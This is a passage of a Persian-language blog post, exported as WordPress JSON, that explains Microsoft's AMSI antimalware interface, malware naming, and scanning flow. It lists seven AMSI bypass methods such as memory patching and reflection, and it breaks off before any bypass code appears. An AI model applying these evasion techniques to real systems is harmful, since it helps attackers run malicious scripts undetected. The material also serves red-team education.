{"id":20356,"date":"2025-08-23T16:22:19","date_gmt":"2025-08-23T12:52:19","guid":{"rendered":"https:\/\/liangroup.net\/blog\/?p=20356"},"modified":"2025-08-23T10:33:48","modified_gmt":"2025-08-23T07:03:48","slug":"a-detailed-guide-on-amsi-bypass","status":"publish","type":"post","link":"https:\/\/liangroup.net\/blog\/a-detailed-guide-on-amsi-bypass\/","title":{"rendered":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u062c\u0627\u0645\u0639 \u062f\u0631 \u0645\u0648\u0631\u062f Bypass \u06a9\u0631\u062f\u0646 AMSI"},"content":{"rendered":"<p><span style=\"font-size: 10pt\">\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f Antimalware Scan Interface (AMSI) \u0631\u0627 \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f \u06a9\u0647 \u0628\u0647 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645\u200c\u0647\u0627\u06cc \u062f\u0641\u0627\u0639 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062f\u0631 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0627\u062f\u063a\u0627\u0645 \u06a9\u0646\u0646\u062f. AMSI \u0627\u06cc\u0646 \u0642\u0627\u0628\u0644\u06cc\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627 \u0647\u0631 \u0622\u0646\u062a\u06cc\u200c\u0648\u06cc\u0631\u0648\u0633 \u0646\u0635\u0628\u200c\u0634\u062f\u0647 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062a\u0639\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f \u0648 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u067e\u0648\u06cc\u0627\u00a0 \u0648 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u062f\u0642\u06cc\u0642\u200c\u062a\u0631 AMSI\u060c \u0646\u062d\u0648\u0647\u200c\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0622\u0646 \u062f\u0631 \u06a9\u062f \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 Bypass \u062e\u0648\u0627\u0647\u06cc\u0645 \u067e\u0631\u062f\u0627\u062e\u062a.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0641\u0647\u0631\u0633\u062a \u0645\u0637\u0627\u0644\u0628<\/strong><\/span><\/p>\n<ul>\n<li><span style=\"font-size: 10pt\">\u067e\u06cc\u0634\u200c\u0632\u0645\u06cc\u0646\u0647<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0646\u0627\u0645\u200c\u06af\u0630\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0646\u062d\u0648\u0647 \u0639\u0645\u0644\u06a9\u0631\u062f AMSI<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634\u200c\u0647\u0627\u06cc Bypass \u06a9\u0631\u062f\u0646 AMSI<\/span>\n<ul>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u0627\u0648\u0644: Powershell Downgrade<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u062f\u0648\u0645: \u0645\u0628\u0647\u0645\u200c\u0633\u0627\u0632\u06cc \u06a9\u062f<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u0633\u0648\u0645:\u0627\u06cc\u062c\u0627\u062f \u062e\u0637\u0627\u06cc \u0627\u062c\u0628\u0627\u0631\u06cc<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u0686\u0647\u0627\u0631\u0645: Memory Hijacking<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u067e\u0646\u062c\u0645: \u0631\u0628\u0627\u06cc\u0634 \u062d\u0627\u0641\u0638\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 Opcode\u0647\u0627\u06cc \u0645\u0628\u0647\u0645\u200c\u0633\u0627\u0632\u06cc\u200c\u0634\u062f\u0647<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u0634\u0634\u0645 \u062f\u0648\u0631\u0632\u062f\u0646 AMSI \u0628\u0627 Reflection<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0631\u0648\u0634 \u0647\u0641\u062a\u0645: \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u06cc\u06a9\u067e\u0627\u0631\u0686\u0647 Nishang<\/span><\/li>\n<\/ul>\n<\/li>\n<li><span style=\"font-size: 10pt\">\u0646\u062a\u06cc\u062c\u0647\u200c\u06af\u06cc\u0631\u06cc<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 10pt\"><strong>\u067e\u06cc\u0634\u200c\u0632\u0645\u06cc\u0646\u0647<\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0647 \u0637\u0648\u0631 \u062e\u0644\u0627\u0635\u0647\u060c \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06cc\u06a9 API \u0627\u0633\u06a9\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0631\u0627\u0626\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0622\u0646 \u0631\u0627 \u062f\u0631 \u0647\u0631 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u062f\u063a\u0627\u0645 \u06a9\u0646\u0646\u062f \u062a\u0627 \u0648\u0631\u0648\u062f\u06cc\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0627\u0633\u06a9\u0646 \u0648 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0632 \u0627\u06cc\u0646 \u0637\u0631\u06cc\u0642\u060c \u0627\u0645\u0646\u06cc\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u0646 \u0631\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627 \u062a\u0636\u0645\u06cc\u0646 \u0646\u0645\u0627\u06cc\u0646\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0646\u0645\u0648\u0646\u0647\u060c \u06cc\u06a9 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0642\u0628\u0644 \u0627\u0632 \u0627\u0631\u0633\u0627\u0644 \u067e\u06cc\u0627\u0645 \u0628\u0647 \u06af\u06cc\u0631\u0646\u062f\u0647\u060c \u0645\u062d\u062a\u0648\u0627\u06cc \u0622\u0646 \u0631\u0627 \u0628\u0627 AMSI \u0627\u0633\u06a9\u0646 \u06a9\u0631\u062f\u0647 \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a \u0648\u062c\u0648\u062f \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u060c \u0622\u0646 \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">AMSI \u0645\u0633\u062a\u0642\u0644 \u0627\u0632 \u0641\u0631\u0648\u0634\u0646\u062f\u0647 \u0628\u0648\u062f\u0647 \u0648 \u0628\u0647 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0631\u0627\u0628\u0637\u200c\u0647\u0627\u06cc Win32 API \u0648 COM \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u0633\u062a\u0642\u06cc\u0645 AMSI \u0631\u0627 \u0628\u0631 \u0639\u0647\u062f\u0647 \u062f\u0627\u0631\u062f\u060c \u0622\u062e\u0631\u06cc\u0646 Signature\u0647\u0627\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u062e\u0648\u062f\u06a9\u0627\u0631 \u062f\u0631 \u0622\u0646 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u06cc\u06a9 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0633\u0647\u0648\u0644\u062a\u060c AMSI \u0631\u0627 \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u062e\u0648\u062f \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u06a9\u0646\u062f \u062a\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u067e\u0648\u06cc\u0627 \u0648 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u062d\u0627\u0641\u0638\u062a \u0646\u0645\u0627\u06cc\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0639\u0645\u0644\u06a9\u0631\u062f AMSI \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Signature-based Detection \u0627\u0633\u062a. \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0639\u0646\u0627 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0647\u0631 \u06a9\u0644\u06cc\u062f\u0648\u0627\u0698\u0647 \u0645\u062e\u0631\u0628\u060c URL\u060c \u062a\u0627\u0628\u0639 \u06cc\u06a9 Signature \u0645\u0631\u062a\u0628\u0637 \u062f\u0631 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647\u200c\u06cc \u0622\u0646 \u062b\u0628\u062a \u0634\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0627\u06af\u0631 \u0645\u0647\u0627\u062c\u0645 \u0645\u062c\u062f\u062f\u0627\u064b \u0647\u0645\u0627\u0646 \u06a9\u0644\u06cc\u062f\u0648\u0627\u0698\u0647 \u06cc\u0627 \u0627\u0644\u06af\u0648 \u0631\u0627 \u062f\u0631 \u06a9\u062f \u062e\u0648\u062f \u0628\u0647 \u06a9\u0627\u0631 \u06af\u06cc\u0631\u062f\u060c AMSI \u0628\u0644\u0627\u0641\u0627\u0635\u0644\u0647 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u062e\u0648\u0627\u0647\u062f \u06a9\u0631\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0646\u0627\u0645\u200c\u06af\u0630\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627<\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u067e\u06cc\u0634 \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc \u062c\u0632\u0626\u06cc\u0627\u062a \u0639\u0645\u0644\u06a9\u0631\u062f AMSI\u060c \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u0628\u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627 \u0686\u06af\u0648\u0646\u0647 \u0646\u0627\u0645\u200c\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0645\u0648\u0627\u0631\u062f\u060c \u0647\u0646\u06af\u0627\u0645 \u062a\u062d\u0644\u06cc\u0644\u060c \u0648\u06cc\u0646\u062f\u0648\u0632 \u062a\u0646\u0647\u0627 \u0648\u062c\u0648\u062f \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0645\u0627 \u062a\u062d\u0644\u06cc\u0644\u06af\u0631\u0627\u0646 \u0642\u0627\u062f\u0631 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u062f\u0642\u06cc\u0642 \u062c\u0632\u0626\u06cc\u0627\u062a \u0648 \u0631\u0641\u062a\u0627\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0646\u06cc\u0633\u062a\u0646\u062f. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u06cc\u0644\u060c \u0633\u0627\u0632\u0645\u0627\u0646 Computer Antivirus Research Organisation (CARO) \u06cc\u06a9 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u0646\u0627\u0645\u200c\u06af\u0630\u0627\u0631\u06cc \u0628\u0631\u0627\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627 \u062a\u0639\u0631\u06cc\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0631\u0627\u06cc \u0646\u0645\u0648\u0646\u0647\u060c \u06cc\u06a9 Backdoor \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Shortcut \u06a9\u0647 \u0628\u0627 \u062e\u0627\u0646\u0648\u0627\u062f\u0647\u200c\u06cc Caphaw \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a\u060c \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0646\u0627\u0645\u200c\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f:<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone  wp-image-20357\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/1-3-300x131.png\" alt=\"\" width=\"506\" height=\"221\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/1-3-300x131.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/1-3-150x66.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/1-3.png 768w\" sizes=\"(max-width: 506px) 100vw, 506px\" \/><\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0646\u062d\u0648\u0647 \u0639\u0645\u0644\u06a9\u0631\u062f<\/strong><strong> AMSI <\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u0647\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 AMSI \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645\u200c\u0647\u0627\u06cc \u062f\u0641\u0627\u0639\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0641\u0631\u0636 \u06a9\u0646\u06cc\u062f \u06cc\u06a9 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0637\u0631\u0627\u062d\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u062f \u06a9\u0647 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0631\u062f\u0647 \u0648 \u0622\u0646 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 Scripting Engine \u0645\u0627\u0646\u0646\u062f PowerShell \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0647\u0645\u0627\u0646 \u0644\u062d\u0638\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0648\u0631\u0648\u062f\u06cc \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 AMSI \u0631\u0627 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u06a9\u0631\u062f \u062a\u0627 \u0627\u0628\u062a\u062f\u0627 \u0645\u062d\u062a\u0648\u0627\u06cc \u0648\u0631\u0648\u062f\u06cc \u0627\u0632 \u0646\u0638\u0631 \u0648\u062c\u0648\u062f \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0631\u0631\u0633\u06cc \u0634\u0648\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0648\u06cc\u0646\u062f\u0648\u0632 \u0628\u0631\u0627\u06cc \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc AMSI\u060c \u0631\u0627\u0628\u0637\u200c\u0647\u0627\u06cc COM \u0648 Win32 API \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u062c\u0631\u06cc\u0627\u0646 \u06a9\u0627\u0631\u06cc AMSI \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0627\u0633\u062a:<\/span><\/p>\n<ol>\n<li><span style=\"font-size: 10pt\">\u0628\u0631\u0646\u0627\u0645\u0647 \u0648\u0631\u0648\u062f\u06cc (\u0645\u0627\u0646\u0646\u062f \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a) \u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u0642\u0628\u0644 \u0627\u0632 \u0627\u062c\u0631\u0627\u060c \u0648\u0631\u0648\u062f\u06cc \u0628\u0647 AMSI \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">AMSI \u0645\u062d\u062a\u0648\u0627\u06cc \u0648\u0631\u0648\u062f\u06cc \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 Signature\u0647\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u062f\u0631 \u0635\u0648\u0631\u062a \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0627\u0644\u06af\u0648\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u060c \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u062a\u0648\u0642\u0641 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">\u062f\u0631 \u063a\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a\u060c \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627 \u0628\u0647 Scripting Engine \u062a\u062d\u0648\u06cc\u0644 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-size: 10pt\"><img decoding=\"async\" class=\"alignnone  wp-image-20358\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6-300x164.png\" alt=\"\" width=\"530\" height=\"290\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6-300x164.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6-1024x558.png 1024w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6-768x419.png 768w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6-150x82.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/2-6.png 1264w\" sizes=\"(max-width: 530px) 100vw, 530px\" \/><\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u062a\u0648\u0636\u06cc\u062d\u0627\u062a<\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c AMSI API \u06cc\u06a9 \u0631\u0627\u0628\u0637 Open \u0627\u0633\u062a\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0647\u0631 \u0622\u0646\u062a\u06cc\u200c\u0648\u06cc\u0631\u0648\u0633 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0627\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062a\u0648\u0627\u0628\u0639 \u0622\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u062b\u0627\u0644\u060c \u06cc\u06a9 Windows Script \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u0627\u0633\u062a. \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0632 \u0637\u0631\u06cc\u0642 AMSI \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0641\u0627\u06cc\u0644 amsi.dll \u062f\u0631 \u0647\u0645\u0627\u0646 \u0641\u0636\u0627\u06cc \u062d\u0627\u0641\u0638\u0647\u200c\u06cc \u0645\u062c\u0627\u0632\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u062a\u0632\u0631\u06cc\u0642 \u0645\u06cc\u200c\u06af\u0631\u062f\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0641\u0627\u06cc\u0644 amsi.dll \u0634\u0627\u0645\u0644 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 \u062a\u0648\u0627\u0628\u0639 \u0627\u0633\u062a \u06a9\u0647 \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u06a9\u062f \u0631\u0627 \u062f\u0627\u0631\u0646\u062f. \u0644\u06cc\u0633\u062a \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0645\u0648\u062c\u0648\u062f \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0648\u0638\u06cc\u0641\u0647 \u0627\u0635\u0644\u06cc \u0627\u0633\u06a9\u0646 \u062a\u0648\u0633\u0637 \u062f\u0648 \u062a\u0627\u0628\u0639 \u0632\u06cc\u0631 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f:<\/span><\/p>\n<ul>\n<li><span style=\"font-size: 10pt\">AmsiScanString()<\/span><\/li>\n<li><span style=\"font-size: 10pt\">AmsiScanBuffer()<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 10pt\">\u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0645\u0633\u0626\u0648\u0644 \u062a\u062d\u0644\u06cc\u0644 \u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u062f \u0647\u0633\u062a\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u06a9\u062f \u067e\u0627\u06a9 \u0628\u0627\u0634\u062f\u060c AV Provider Class \u0646\u062a\u0627\u06cc\u062c \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 RPC Call \u0628\u0647 \u062e\u062f\u0645\u062a \u0622\u0646\u062a\u06cc\u200c\u0648\u06cc\u0631\u0648\u0633\u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u0645\u0627 \u0627\u06af\u0631 \u06a9\u062f \u0645\u0634\u06a9\u0648\u06a9 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f\u060c \u062e\u0648\u062f AMSI \u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u062e\u0648\u0627\u0647\u062f \u06a9\u0631\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634\u200c\u0647\u0627\u06cc<\/strong><strong> Bypass <\/strong><strong>\u06a9\u0631\u062f\u0646<\/strong><strong> AMSI <\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0647 \u0645\u0641\u0627\u0647\u06cc\u0645 \u067e\u0627\u06cc\u0647\u200c\u06cc AMSI \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0631\u062f\u06cc\u0645\u060c \u0628\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0628\u0631\u0627\u06cc Bypass \u06a9\u0631\u062f\u0646 AMSI \u0645\u06cc\u200c\u067e\u0631\u062f\u0627\u0632\u06cc\u0645. \u0627\u0646\u062c\u0627\u0645 AMSI Bypass \u0628\u0631\u0627\u06cc Red Teamers \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0646\u0627\u0631\u06cc\u0648\u0647\u0627 \u0636\u0631\u0648\u0631\u06cc \u0627\u0633\u062a\u060c \u0628\u0647\u200c\u0648\u06cc\u0698\u0647 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062c\u0647\u062a Lateral Movement \u06cc\u0627 Privilege Escalation \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u067e\u0648\u0634\u0634 \u062a\u0645\u0627\u0645\u06cc \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 